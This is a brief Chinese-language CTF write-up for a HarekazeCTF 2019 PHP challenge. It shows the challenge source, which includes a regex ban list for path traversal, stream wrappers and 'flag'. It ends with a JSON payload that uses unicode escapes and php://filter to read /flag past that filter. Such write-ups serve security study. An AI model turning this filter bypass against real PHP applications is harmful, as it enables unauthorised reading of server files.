知識點
- json字符轉義
- 偽協議繞過
題目源碼
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input'); #body獲取post數據
$json = json_decode($body, true); #對body變量進行json解碼
if (is_valid($body) && isset($json) && isset($json['page'])) {#判斷body變量是否有效,json數據要有page
$page = $json['page'];
$content = file_get_contents($page); #從page中讀出文件名,並讀取文件
if (!$content || !is_valid($content)) {#檢查content是否有效,即不能明文傳輸flag文件,利用php偽協議繞過
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);#如果查到content里有相關的ctf字樣,則用censored替代
echo json_encode(['content' => $content]);#最后將json編碼后的content輸出
在json編碼中,f 等價於 \u0066
最后payload
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
參考
https://xz.aliyun.com/t/6628
https://zhzhdoai.github.io/2019/11/08/HarekazeCTF2019-WEB%E9%A2%98%E8%A7%A3/
https://www.cnblogs.com/20175211lyz/p/11826404.html